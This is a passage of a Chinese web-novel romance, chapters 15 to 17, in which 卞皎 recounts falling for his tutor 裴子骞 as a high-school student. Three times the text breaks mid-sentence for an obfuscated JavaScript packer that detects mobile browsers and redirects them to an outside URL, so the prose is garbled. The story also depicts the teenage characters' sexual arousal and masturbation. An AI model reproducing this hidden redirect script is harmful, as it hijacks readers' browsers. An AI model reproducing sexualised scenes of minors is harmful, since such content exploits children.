裴子骞少言寡语,好像很讨厌世界上一切吵闹的事物和环境,卞皎觉得这是和对方前几次见面时自己无法得到好脸相待的原因。甚至在初次授课的中秋假期返校后,卞皎在楼道里遇见裴子骞时同对方招手,对方却只看他一眼,然后目光很平淡的扫过,仿佛从未认识。 卞皎其实很不高兴。他想自己并未哪里惹到裴子骞,对方枯燥的物理课他一次没有打瞌睡地认真在听,就连冒充大学生这个行为,他也并未揭穿,甚至替对方打过几次掩护。 于是下午放学后,他在一条巷子里叫住裴子骞。 静静听完他的接连问句,裴子骞没有任何回避,只说他在学校里没有朋友。 “好奇怪的话,是不是?我现在才反应过来,他说他在学校里没有朋友的意思也许是,学校里的任何一个人,他都不会与之交朋友。但当时的我偏生不是这么理解的。” 落日西斜,天边有一片火烧的云,红色日光侧洒在裴子骞侧颜,他的眉眼一如既往淡薄疏离,卞皎紧皱的眉却慢慢松开。 “你在学校里没有朋友?”他唇角的笑忍不住浮起,“那是不是我在校外就能找你玩了,太好了,我还不知道可以分场合来改变交友状态。” 多么傻的问句,但却不能说卞皎迟钝。他是真的不觉得裴子骞不想和自己交友,毕竟几天前的中秋,他们还一起去游园会玩过一整个下午。 对于他的问句,裴子骞只沉默一阵,然后答:“和我做朋友并不有趣。” 接着便转身就走。 “他没有正面回答我的话,我其实不知道他究竟是什么意思,但是我想,他总不至于是拒绝,毕竟接下来的每周周六上午我们都得见面,拒绝和我交友,氛围一定会变得很怪。还好,他确实没有拒绝,后来的每一次我约他出去玩,他都同意了,但我一共也没有约过几次。那时候,我刚转学到阳市,没有什么朋友,我爸又经常不在家,房子很大但很空。我只是想,如果裴子骞能算我朋友的话,那我至少能有一个一起吃饭的人。我以前最讨厌一个人吃饭。” 说到这里,卞皎深呼吸一口气:“我从未系统地回忆过这些,现在想起来,我真的很惹人讨厌。” 方岑说:“你不必在回忆中鞭笞自己。” “你也不必安慰我,其实我早就意识到自己很讨厌了。我是不是没有告诉过你,不止在阳市,从小到大,我其实都没有什么朋友。”卞皎说:“小时候,我在苏市念小学,住在我亲生父亲祖宅里,跟着祖母长大,但我却从来没有见过这位父亲。” 自懂事起,卞皎就从未叫出“爸爸”这两个简单音节。唯一能听到这个词语的地方,一个在祖母口中,一个在邻里的孩子嘴里。 “长大之后我才知道,原来父母离异并不是什么稀罕的事,但大多发生在孩子懂事后。至少七八岁的年纪,还是有很多孩子拥有完整的爸爸妈妈。因此,没有爸爸的我那时候似乎属于不正常群体,还有小孩不知道从哪里学来的话,对我说我妈是黄脸婆,是扫把星,留不住老公,带得把家里的钱全部败光,还不让儿子跟爸爸姓。”卞皎说到这里,很认真地停顿了一下:“我从小就和人打架到大,每一次傍晚回家前衣服上都会出现各种划痕或者泥土,那时候我并不知道他们说的话是什么意思,其实直到现在我都很疑惑。我的母亲明明很漂亮,他们也不是没有眼睛,怎么会用那样的字眼形容她。” 方岑说:“我虽然没有见过阿姨,但相信她绝不可能不漂亮。” 单是从卞皎的面孔,他就能断定这一点。 “和你讲我妈,可能不好。”卞皎没有忘记方岑与郑怀远前妻的关系,他说:“但是我想如果要告诉你事情的原委,那这就是无法绕开的一点。” 也许是小时候的经历一直萦绕内心,卞皎后来很排斥与一个团体中的人交好,每一个人都或多或少会有一些童年创伤,这并不是什么特殊的事情。他想自己与裴子骞其实并非完全没有共同点,在他听见裴子骞说出我在学校里面没有朋友时,第一时间最想做出的反应竟然是同对方大叫说,太好了,我也是。 所以后来郑怀远出差频次以一种近乎诡异的折线上升时,卞皎能想到陪同自己一起去买下那匹昂格鲁马的人,就只有裴子骞。 “我们到了马场才了解,老郑早在给我做出承诺的后一天就付过钱,其实我早已经拥有那匹黑马很久很久,只是自己并不知道。裴子骞没有学过马术,我不想他一个人在旁边等我,那一天就没有骑,只在马厩里和他一起想要给它取什么名字。我其实已经想了很多天,一连说了好几个,都不对,直到裴子骞说,叫蓝调怎么样,今天的天虽然不算蓝,但于现在日落时分难得放晴,其实已经足够。现在想来,他好像一直有这种魔力,轻易不发言,但只要一说话,就能让我的任何混乱变成明朗。 “我刚刚有没有同你讲,这是寒假出完成绩的第一天?这天是一个周一,很奇怪,我平时在假期是不会记星期几的,但那一天就是记得。可能是因为我知道裴子骞在寒假有兼职,只有周六下午休息,那个周一,是他请假陪我去的。结束后我说既然耽搁了他的兼职,就要请他一起吃顿大餐弥补,他却说不用,在外面吃饭并不合算,于是我们一起去江边的水产市场买了四斤的小龙虾。其实那时候是冬天,小龙虾并不应季,但是我们最后竟然吃得大汗淋漓。那一天是我第一次去到他家。” 裴子骞的家隐在阳市一个角落,卞皎后来才知道那块地方被叫做阳市最后的贫民区,叫了很多年的要拆迁,甚至有过人来量各种数据,但最后还是没有商谈合约。 讲到这里,卞皎顿了一下,似乎有几秒的愣神。 方岑随着他的视线看去,就看见路灯下那簇灌丛竟然动了起来,枝叶翻飞,明显是车外已然刮起夜风。忽然他听卞皎再度开口,如果拿仪器测量,可以得出卞皎的声音比方才要轻许多分贝。 “如果我知道这一天会有多重要,知道后面会发生什么,我绝对不会说要吃小龙虾。现在想一想,那一天的最后真的不算体面。” 窗户缝隙透进一丝冷风,方岑在这时才意识到原来卞皎今夜也喝了酒。也许并未饮多,他的面颊不见霞色,挟在流动空气之中,连酒精的气味都是极其清淡。他在此刻无言,对话再次陷入停顿。 方岑将他的沉默当作斟酌:“不甚体面的事,我想没有人愿意谈。其实你今天能告诉我这么多,已经足够。” “不,”卞皎回过头,“我并不是不愿意说。” 他的眸轻轻垂下又抬起,接着路灯的光线,方岑看见他的眼底闪过一丝困惑,或者更准确一些不如说是迷茫。 “我只是忽然意识到,好像真正的事实,并不如我记忆中的那样顺其自然。” 人的大脑天然会美化回忆。 几年前,卞皎在传媒大学修过一门新闻心理学课程,这门课最后取得了九十八分的成绩,但如大学中的每一门课程,他已不能记清当初教授这门枯燥理论课的老师姓名,但却记得某一天乏困的午后第一节课。阶梯教室中没有几个同学,台上教授惯例不点名,也没有开场白,只拿起一只粉笔写下板书。 “受访者对同一事件的回忆存在美化或简化现象,影响新闻素材的真实性,这源于人类倾向于在回忆中过滤负面细节,强化积极体验,即心理学上的‘怀旧效应’。它还有一个更抽象一些的名字,Rosy Retrospection—— “玫瑰色回忆。” 卞皎说:“那一天。我先和你讲完那一天。” 那一天确实是一个周一。裴子骞在寒假前的最后一次补习时就告知过卞皎,他的周内十分忙碌,社区超市排班从早八时到下午五时,七点半,他则会赶往城市最北边的一个社区,进行小学生课后辅导,时薪五十。 五十是一个什么概念?一份披萨,或者两杯低咖啡因的奶茶,再或者是商场大玩家半小时的时光,卞皎只能想到这些。 “那么超市呢?今天薪资多少?”他问。 电话里,裴子骞的回答极端平淡,像一根线:“一百。” “嗯……”卞皎想了不过两秒便说:“你和我去马场吧,我开你一天五百。” 裴子骞说:“排班已经排好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15240560|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那八百?我又加了两天的。” “我走不开。” “一千。”卞皎说:“一千,真的不能再多了,拿压岁钱前我就靠这点钱过日子了。我真的很想让你和我一起见它,这是我的第一匹马……” 卞皎无法记清那天自己究竟在电话里还说了什么,他只知道最后的结果是电话时长长达八分钟,其中四分之三都是他的声音,而裴子骞只在最后轻轻说了一个字。 好。 好。时至今日,卞皎仍感觉如若给裴子骞的日常话语做一个使用频率统计,“好”一定是属于喜马拉雅峰的最高频存在,以至于他有时都快忘记,原来裴子骞也可以在“好”字前面加上否定词,表达他的拒绝。 那天傍晚的小龙虾是卞皎提议,裴子骞一如既往说好,挑选、处理,极短时间,他双臂的袖子都挽到小臂上方,头发利落扎起,最后倒进一罐橙黄啤酒。卞皎口味一直清淡,此前从未沾过一丝酒精,但小龙虾中的一罐酒精经过蒸发其实约等于无,他也搞不懂那一夜的最后,为什么自己会微醺。 当时裴子骞说不热了就不要吹风,着凉难捱,于是卞皎就将摇头的风扇关闭,看着他的背影把碗碟收进厨房。 也许是之前太热,又或许是真的着凉,头有些发晕。卞皎发现液晶电视里电影已经出现结尾,便蹲到DVD机前,从一小块掉落的墙皮下方抽出那盒装有光碟的乳白色塑料长方。 这时是二零二零年的新年第一个月,这一年很少人还用光盘看电影。卞皎就像小时候在祖母家第一次见到一百二十寸电视机时一样好奇,从中抽出一张光盘。两面都没有图案,光滑的碟面在暖白灯光下散出五彩镭射,翻过来的正下方,终于有马克笔的印迹,字体龙飞凤舞:蒂凡尼的早餐。 脑海中浮现出奥黛丽·赫本经典的托腮海报后,卞皎将其轻轻放回盒中,然后挑盲盒一样随意再挑了一张。 这一次的光碟两面依旧没有图案,甚至没有标注,对着灯光,五彩的圆可以反射到底。伴随着一旁厨房中传出的水流声与碗碟碰/撞声,卞皎将其放进DVD机。黑底蓝字的报幕出来时,卞皎眯着眼睛默念了一次。画面出现了一位港星倚在床头抽烟,大脑还未反应过来是谁,下一幕镜头就对准另一双赤/裸的男人的腿,缓缓上移,再下一幕,两个身影纠/缠在一张单人床上。 卞皎顷刻间滞在原地。 沉缓的粤语旁白还在继续,他却一个字都不能听清,只能看见画面中上方男人那条白色亵/裤,以及从背脊处缓慢抚/摸下去,再狠狠一拍的下方男人的手。 两个身影,都是男人。 厨房的水流声已经停止,卞皎平直移动视线,肉/体重叠的黑白画面变换成门框前裴子骞怔愣的面孔。 灯泡悬挂在他的头顶,眉骨下方落出一片阴影,一瞬间卞皎将他与影片上方的那张五官混淆。 “你在做什么。”卞皎听见他说。 他的声线好像有些颤抖,青筋虬结的手上还有未干的水珠,但他完全没管,在音响中传出近乎宣/泄的闷/哼之后恍然扭头,用力拔掉电视机的电源插口。 接下来,卞皎只能看见他背对自己很多秒。时间在这一刻等同于全世界最虚假的伪命题,一息如同一万年。 卞皎从地上站起来,感觉自己脸上连同脖颈烧辣一片。 “我……”他不知道该说什么,好奇怪,他从来没有经历过这样的场景。他不是没有看过情/色画面或者情/色片,就像青春期男孩对身体有着天然好奇一样,他也曾经有过自我发/泄的行为,在首都读初中时他就接受过性教育,从不觉得这是什么令人羞耻的话题,但是,但是…… 忽然,裴子骞动了一下。 他这一天穿着一件纯白色短袖,外套是浅色衬衫,卞皎可以看见他小揪后面短短的青色的发茬,以及脖颈后方算不上细密的汗珠。 “卞皎。”他叫了一声,好像低吸了一口气:“你看见了什么?” 他依旧没有转身。 卞皎不知道自己应该说什么。学校里学过一万份标准答案,教过上百道处理公式,但好像都不能适用于这一句问句。 “没,”最后他听见自己说话:“什么都没有。” 说完第一句,好像一切决堤。他听见自己对着裴子骞的背影继续说话,语无伦次:“对不起,我不是有意乱动你的东西,我本来想换一部电影,我明白,不,我不知道……裴子骞,”他感受到自己停顿几秒,然后试探地问, “裴子骞,我什么都没有看见,好不好?” 他感受到裴子骞也停顿几秒。 电视机前发黄墙皮沉默地坠落。然后,裴子骞的声音像电影旁白般清晰: “不好。” 15.B-噪点2 “其实我知道,那一天我不该这样说。”卞皎说。 “看到就是看到。刚才我还在和你说别人不是没长眼睛,现在却在给你讲自己曾经假装失明。”他自嘲式勾了一下唇,眼皮沓下,“但……我说不清,我自己也不知道原因,明明这不是什么大事情,那部片子我早就看过,甚至还能记得一两句台词。但是在那样情境下,算了。我真的不懂自己为什么最后非要摆出那种只会令对方难堪的表情。” 那天的结局就是裴子骞说了不好,卞皎就立即转身从他家中走出去。 “我不知道有没有做错……可是在那种时候,我是指那种极端尴尬的时候,立即转身是我唯一能想到的应对策略。总之我记得清清楚楚,下楼时外面天已蒙黑,裴子骞家有一条很深的巷子,我在巷口招了一辆计程车。身上还有小龙虾的气味,我就按下窗户,对司机说去我住的金湖区。司机却把我的窗子升起,他说开车开窗会费油,然后说金湖区不近,打表还是一口价? “我问要开多久,他说应该四十分钟。我没想到有那么远,我又问他如果坐公交要坐多久,司机说不知道,估计会换乘,但绝不少于一个半小时。” 卞皎讲到这里合了下唇,似乎在对比,车便很寂寥。 方岑已经沉默在他叙述的这个陌生故事之中,显得很有耐心,甚至从车载冰箱中为卞皎开一瓶矿泉水。待卞皎饮下一口后,他才继续发问:“你最后选择坐公交?” 卞皎没想到他会这样问,“没有。” 那天太晚,公交都已停发,但这并不是卞皎否定的原因。 “说出来也许并不可信,但在阳市待的一年中,我从没有坐过公交,甚至连计程车也很少打。毕竟那时我爸还……我爸他有几个司机。我那时会这样问,只是想到裴子骞给我补课的时间是每周六早上九点。整整一个学期,四个月,他从未迟到,甚至总是早到半个小时。” 那晚卞皎第一次知道,原来裴子骞的家距离自己家要四十分钟车程。最终计价表上跳动的数字停在一个熟悉的数字,正好是裴子骞兼职一小时作业辅导的时薪,五十。 五十元,可以买他费尽心力的一小时,也可以买他早起乘车的一个半小时。总之不过五十元。 “可是怎么会。” 方岑忍不住打断:“如果这个裴子骞,真的是我所了解的那个裴子骞。抱歉,我并没有质疑你的意思,只是这实在不符合他的身份。鹏远集团家族姓裴,你又并未提及他改姓,那么他认识你的时候其实也已姓裴,是不是?” 卞皎说是。 “那他,”方岑竟不知该怎么发问,“怎么会?” “怎么还会为五十元奔波,你是想问这个么?”卞皎替他问出。得到方岑的默认后,他思忖片刻,说,“这个问题我也并不清楚。不怕你想多,甚至我也在今天白天才知道原来当年高中毕业后,他去德国留学。” 算起来到马场这一天,卞皎与裴子骞相识已近半年。但他是这一天才知晓对方的住处,也是这一天才知晓原来对方和自己除开在学校没朋友外,还有着一个共同点。 “裴子骞的家是自建房。他跟他大伯一家同住,房子共有四层,他住在第三层。这之前我见过很多次这类建筑,但却是第一次进入室内。也是第一次,我知道原来裴子骞从小也没见过亲生父亲,甚至他比我还要……他的人生之中能够勉强充当父亲角色的,就只有大伯。那天我没有见到他的大伯,我们当时就在三楼,相当于一套独立的房子,入户门能够锁起来。不过我可以告诉你很确定的一点,那就是他大伯不姓裴,也就是说裴子骞他与我一样,不随父姓。 方岑一愣:“不随父姓,可是他不是鹏远董事长裴建华的儿子?我见过他和他父亲站在一起的样子。” 方岑作为影视业内人士,不少出席各种类型的慈善活动,三个月前一场鹏远主办的募捐晚会上,他现场见证裴建华第一次向全首都媒体介绍独子裴子骞。 鹏远集团成立于上世纪七十年代,如果将这个强大的商业帝国领导者以帝王论,现任董事长裴建华就是裴二世。裴建华年事已高,却身型健朗,五官凌厉,一生没有婚配。早年他并非未有绯色新闻,也自然有过这样那样的私生子传闻,但这之中未有一宗得到他的承认。 方岑回忆:“他们父子的容貌极为相似,若不是年龄差距太大,说是兄弟也不为过。” 卞皎听得,微微皱眉摇头。 “我不知道鹏远董事长是谁,姓什么,但我是从裴子骞那里亲口得知的这个事实,他不会对我……这种事情,他没有必要对我撒谎。” 裴子骞亲口告知卞皎这个事实之时,距离马场之日已过去半个月。 “接下来的事情……在讲述之前,我实在想要再说一次。”卞皎说:“方岑,我确确实实,真真正正,知道自己令人讨厌。” 他连用两个叠词。他想自己承认自己讨人厌,总比听到他人了解自己事迹之后做出的结论更容易接受。 方岑只终于在这时一笑。他的语调令人安心:“请你相信我是合格的倾听者,至少只做理解,不做评判。” 也许是此前从未将这些事情讲出口,又或许是恒久照亮的路灯昭示今夜还有很长时光,再或许方岑确实是一个合格的倾听者,总之最终卞皎选择继续说下去。他先抬了下手升起右侧车窗,然后才对着前方很轻很轻地松下一口气。 “如果刚刚你听到的,是我与裴子骞关系的开始,那么接下来的,也许能称为一道转折。” 自那天晚上与裴子骞不欢而散,卞皎在脑海里不断重映了一周那天的画面。 抚摸的动作,交叠的人影,独属于男性高/潮前皱眉隐忍的表情。卞皎其实对□□之事没有兴趣,无论男女,此前他满足冲动的行为仅仅来源于生理需求。这种事情对他而言没有特殊性,甚至等同于读一本外文书,或者看一部没有字幕的外国电影,只是娱乐,能够为他带来简单快乐而已。 卞皎的想法从来简单,只想要快乐,所以任何这样的事情他都愿意尝试,不管性质如何,也不管难度如何。 他想自己和裴子骞在一起时就很快乐。 其实交朋友这件事本身就很复杂,每个人都有属于自己的脾气,也许那一晚真的是自己的错,首先自己不应该乱动裴子骞的东西,再是自己不应该对那种画面小题大做,让裴子骞陷入两难的窘境。 因此一周之后,卞皎决定道歉。 他与裴子骞已一周没有联系。裴子骞的手机里没有其他软件,他们平常一直通过电话交流,裴子骞其实很少会给卞皎拨电话,但卞皎并不在意。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245938|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想这场危机的起源是那部香港电影,解决起来自然也要回到那部电影。 三天前,卞皎从二手网站上购入一个老式DVD机,废了好大功夫和卧室里电视连上,然后在各个平台上寻找这部电影的光碟。他此前从来没有了解过这些,不知道原来除了正盗之分外,还有台版、日版、蓝光、胶片这些名词,价格不一,搜索起来便被绕花了眼。最后,他决定先给裴子骞打一个电话。 电话铃声一段一段嘟响,卞皎好不恰当地想这真像心电监护仪运作时的声音,只是更长更缓。 还好裴子骞还愿意接电话。 卞皎不记得自己说了什么。其实每一次他在裴子骞面前说的话都大同小异,无非是不怎么有礼节的请求或者道歉,毕竟不多的相处时光里,他好像很多次惹裴子骞不愉快。 还好裴子骞还愿意说好。 “那我买爆米花,”卞皎抑制不住高兴,“周六下午在金湖,你晚一点都没关系,我等你。” 裴子骞说:“好。” 打完电话,卞皎就拿着钥匙出门,从午后一直游荡到傍晚日落时分,终于在城市最东边的林荫街头找到一家影像店。店主按照他的要求拿出一张DVD,说卞皎来得刚刚好,这是店里最后一张,再晚一点就白费一趟。卞皎想确实刚刚好,早一点晚一点都不行,因为裴子骞如果不愿意来,那才是真的白费一趟。 周六下午的金湖区安静如常,这天日光晴朗,从卞皎家里的落地窗墙面朝外望,可以看见远处的金湖在碧蓝天空下泛着鎏金的光。 裴子骞来的时候只按门铃,没有打电话,手里提着一个透明塑料袋,卞皎接过,里面是两盒蓝莓。 “看什么片子?”裴子骞问。 卞皎这才想起原来自己打电话去时只说看电影,没有说看哪一部。 写有片名的外壳出现在卞皎手中时,他看见裴子骞的表情明显顿了一下,黑漆色的瞳仁从外壳移向他。 “为什么看这一部。”他说。 “我专程买来的啊,”卞皎一直有这样的毛病,回答不想回答的问题时文不对题,“你想看其他的吗?那只能现在重新出去买,就要看到晚上了。” 他不知道如果文要对题,应该怎么回答。是说因为我想告诉你我不觉得这部片子有什么,还是说因为我就是想和你一起看它。两者都是卞皎的真心话,但他讲不出口。 好在最后裴子骞没有再问,从他手中拿过光碟就去播放。 电影片长一个半小时,卞皎从一开始看得就不容易。他房间的灯光有关掉,遮光窗帘也拉上,开场前五分钟时,他慢慢朝后靠,让自己仰在沙发靠背上,因为裴子骞是朝前坐的。 过去一周中一直重映在脑海中的画面再度出现,卞皎一刻也不敢眨眼,他怕裴子骞如果回头,会觉得自己还对这个片子抱着异样的眼光。 任何躯/体在荧幕上翻来覆去的样子都不会平淡,卞皎的视线一开始是刻意固定,后来却忍不住追随落在那两双交/叠摩/擦的腿上。伴随着画面中两张面孔发/泄低呼的表情,屋内的温度好像凭空升高,卞皎头一次可耻地发现,自己好像对着电影产生反应了。 这时裴子骞突然回头。 交错的画面光线中,卞皎听见他用很低很低的声音问自己:“你热不热?” 16.B-噪点3 爆米花最后散落一地。 卞皎听到裴子骞的问后第一刻动作就是扯过一边的毛毯,但却又立马反应过来自己这样的举动未免此地无银。室内灯光昏暗,他看不清裴子骞的表情,只能看见对方反射着光亮的瞳仁。 十六七岁的少年什么事情都能做,甚至日常精神亢奋时出现生理反应也很正常,按说卞皎不应该这么回避对方。但他就是觉得,好不正常。 脸上如同被三伏烈日炙烤一通,卞皎伸手去抓倾倒的爆米花碗,竭力稳定着声线说:“我不热,你热吗?我去调地暖。” 说着侧身站起来,刚迈出一步,却被裴子骞拽住手腕。 “不用,”他说:“太闷了,我去趟厕所。” “——这一天看完电影已经快七点。”讲到这里,卞皎忽然跳到结尾:“阳市冬季天黑得很早,外面已经日落,裴子骞看完电影便走,我也没有让他陪我吃饭。” “我说过,我最讨厌一个人吃饭。小时候有一段时间,我妈和一个外地的叔叔恋爱,祖母那时候已经走了,我就一个人吃饭,长大之后我妈也走了,我还是一个人吃饭。我总觉得世界上没有只给一个人用的餐桌,偌大一张平面只摆放我一个人的碗筷的话,吃饭就是一件无聊事情。 “但是那一天,明明是饭点,我就是没有叫裴子骞和我一起。” 卞皎停顿了一下,抬手又把车窗降下。 “因为我撞见他在厕所自/慰。” 卞皎的卧室具备独立卫浴,但那天裴子骞说完要去厕所后,走向的却是房间外。 房门打开又关上,屋外光线再次被隔绝的刹那,卞皎的手几乎是一瞬间就往/下,然后跑到房间厕所里反锁上门。他平常很少做这些事情,做起来时总有些不熟练,又因为总顾及着房子里的另一个人什么时候会回来,所以慌乱非常,几乎很快就结束。靠在浴室墙壁上,他的脑海里空白一刹,紧接着第一刻浮现出来的,是裴子骞的背影。 是他脖颈后方青色的发茬。 卞皎把头往天花板上仰到极致,几秒后猛地仰回来,到洗手台洗手,接着拉开门朝房间外走。 后来卞皎无数次在梦中复盘这一天的经过,但没有任何一次能够想起自己从房间走到客厅厕所的这一段路里究竟在想什么。这好像是一种机械性的本能驱使,像电影里闻到肉香时闭着眼睛也要去追寻的夸张表演,直到真正站在距离厕所只有一臂之遥的位置,他才再度拥有记忆。 他听到厕所门后传来熟悉的窸窣声音,是布料摩擦,还有不均匀的喘/息,带着鼻音的闷/哼。于是隔着一张门的距离,卞皎眼前出现一张脸。 是隐忍皱眉的那位港星。 不,不对。 是隐忍皱眉的裴子骞。 “我依旧觉得,这并不是什么大不了的事情。在省城时我住过校,刚进青春期的男生你一定懂,小小的一间寝室,谁在被窝里做什么一听就知,大家都心照不宣,最多对视一笑,我甚至还给别人递过纸。但当时我做不到那么轻松,听见洗手水流声传出时立马就慌神,转身朝楼上跑,记得在最后一阶时还差点摔了一跤。好在直到我上楼,才听到下面的门开。 “最后他进卧室时,表情很自然,应该是自然的,总之我没敢多看。到我们把电影看完,他都没再出去,我也没有。” 这一次电影后,卞皎一直到寒假结束,都没给裴子骞打过电话。 他觉得自己好像又做错了。 重看一遍那天的电影并不能改变什么,假装自然地给裴子骞打电话也不能改变什么,他从一开始就该知道,这不过是一部再正常不过的片子,而真正不正常的,其实是他对裴子骞而已。 “我不知道你是从什么时候意识到自己喜欢同性,总之我是很晚,即使早在看电影时有过对同性的画面起反应,也只觉得是气氛烘托的原因,并没有认为哪里不对。直到我想了很久很久,想知道那天的一切究竟出错在哪里,甚至连是不是那天没有留裴子骞和自己吃饭所以氛围会很怪这样毫不相干的原因都思考过,最后,我才终于想通。” 寒假结束的前一天,出差半个月的郑怀远终于回家。 他问卞皎这学期还要不要请家教,之前的清大学生很不错,不过之前对方是家庭原因才休学在家,不知道下学期还会不会在阳市。 卞皎没有说同意或不同意,他只说不知道,然后把掉落在地的拼图重新捡起来,拼进去。过了可能有五秒,他忽然抬头说:“爸,要不你问问他。” 郑怀远就打给裴子骞,开的外放。 电话响了好一阵,裴子骞接起时的背景有点吵闹,卞皎一下就能听出他还在社区超市。一阵明显是移动位置的摩擦声音后,他终于说话,叫郑怀远叔叔。 卞皎盯着手机屏幕上大大的挂断按钮出神,忽然转身上楼。 他到卧室厕所,模仿着那天下午的场景,仰起脖颈自/渎。这一次比那天要来得缓慢,但直到最后冲水洗手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256508|165050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的脑海里都只有一个人,一个声音,是初见那天的阳中校园,桂花大道上裴子骞重复他梦里的穿着与话语。 他抓上他的手腕,对他说:“卞皎,跑。” “我知道我喜欢上了裴子骞。”卞皎说:“其实电影那天之后的每一晚,我都会梦到他,甚至有过梦/遗,但我从来没有喜欢过一个人,简单一点就是,我不知道原来这就叫做喜欢。” “很奇怪的是,我那时最讨厌多疑的人,什么事情是就是,不是就不是,没有中间值的可能,但等遇上喜不喜欢裴子骞这个问题,我心中居然无限次数出现问号。在马场那一天前,我们关系一直不差,却也说不上有多好,我说过的,他是我的家教,每一个周末都会来教我物理,他讲题时语速不算慢,但每一个字我都可以听很清楚,而且从不犯困,他留着挺长的头发,平时会把头发扎成一个小揪,偶尔会放下,我更喜欢他放下的样子,如果哪一天他放下头发来给我讲课,我就会走神。因为他看题时头发会挡住一些侧脸,我就要透过发丝去找他的眼睛。” 那天卞皎从厕所出来后就坐在书桌前,支着胳膊看地板上还差最后几块就完成的拼图,突然很想把一切拆开重来一回。 他想如果那天晚上没有提议说要吃小龙虾,如果吃饭时换一部更长一点的电影;如果找片子时没有把蒂凡尼的早餐放回去,如果没有取出那部同性电影;如果不是假装自己没有看见,如果后来选择请裴子骞吃饭道歉而不是选择重新看一遍那部片子,甚至如果那天下午再晚一点到那家音像店,如果老板口中的刚刚好变成真不巧,如果这其中任何一个刚刚好都不巧——是不是他就不会喜欢上裴子骞? 是不是? 拼图最终被拆开重来。卞皎坐在地上一块一块拼到凌晨一点,郑怀远刚好夹着皮包敲开他房门。 郑怀远说要出去一趟,问他怎么还没睡,明天就要开学了。卞皎回答就睡,郑怀远就拉上门。出去却又重新回来。 “对了,裴子骞说他下学期还在。”他说:“他还来。” 卞皎这时正放下最后一块拼图,一朵褪色的粉玫瑰在风中摇曳,图画像电影中空镜画面,他怔然抬头。 这一刻他突然意识到自己早有答案。 不是。不是一切能重来。 即使那天他晚一点到音像店,即使老板口中的刚刚好真的变成真不巧,即使这样,他依旧不想和裴子骞看别的电影—— 他只想和他看这一部。 17.B-噪点4 第二天开学,卞皎又在走廊里看到裴子骞。 对方在学校时头发总是扎起,戴着一副黑色边框眼镜,穿全套的蓝白色校服,走路不会和任何人交换视线。 这一次,卞皎没有和他招手打招呼,而是直接叫住他。 “裴子骞,”他说,“中午我们一起吃饭吧。” “我已经知道自己喜欢他,那我就要一个结果。”卞皎说:“我听到过他在厕所自/慰,但不能确定他究竟会不会喜欢我,或者说,他喜不喜欢男人。我有了解过,一个人对同性的身体画面起生理反应,并不能代表他是同性恋。” 所以卞皎其实不敢动作。 他从未恋爱,甚至在遇见裴子骞之前,根本无法想象和一个人亲吻,就更不知道喜欢一个人时应该做什么。 “接下来的过程,实在太长,关于为什么最后真的和裴子骞变亲密,我自己也不得甚解。”卞皎说:“我只能最简单地向你还原一切改变的那一天,那一天,完全在我意料之外。” 新学期开学后,卞皎基本天天都会和裴子骞见面,他们会谈很多话题,虽然大多时候都是卞皎说,裴子骞听。卞皎有时候在想,他究竟有没有在听自己说话,如果有,为什么明明上一秒话题还是最喜欢的歌曲,下一秒钟就切换到讲电学题。 直到某一次周六上午八点半,门铃按响,这一天卞皎知道,裴子骞真的有在听他说话。 郑怀远在家,去开的门。卞皎就从卧室出来,站在二楼朝下看,视线先是落到裴子骞身上的浅蓝色衬衫,然后才发现对方左肩上照例背着的那个黑色书包今天竟然被换掉,换成了一个吉他包。感觉到他的视线,裴子骞就抬头。 卞皎已经忘记自己那时说的最喜欢的歌曲是什么,也忘记那天裴子骞究竟讲了一些什么题,他只记得上楼后裴子骞把吉他包放在一边,然后一直到合上书本才再拿起。 “你想听什么,”他这样问,“最喜欢的那一首?” 那时是四月,天温刚刚回暖,卞皎却觉得自己好像得了一场很重很重的感冒,否则怎么会连自己最喜欢哪一首歌都忘记。 “弹你最喜欢的就行。”他听见自己说。 裴子骞闻言,轻轻笑了一声,卞皎就看见他垂下眼皮,阳光在他眉骨下方染上很淡很淡的阴影。他拨动琴弦,是一首节奏缓慢的英文歌,他唱歌时的声音很低,音与音之间的衔接像午后一场舒服的小盹,卞皎脑海里划过一只橘色的猫咪,就着日光伸出一个懒腰,然后抖抖毛,一步一步朝自己走来。 这一瞬间卞皎想,如果没有在暗恋裴子骞,那对方一定能算自己从小到大交过的最好的朋友。 可是他无可救药地暗恋。 裴子骞这个人,在卞皎眼中就是金湖,平静,深蓝,偶尔泛出漂亮的涟漪,最关键的是他永远在那里,你却知道他从不可能朝你走来,只有你朝他走去。 可就是这样一个人,若即若离的是他,最后率先抬起手指捅破那层不算薄的窗户纸的,也是他。 清明假期后一周,阳中高二组织一场春游。 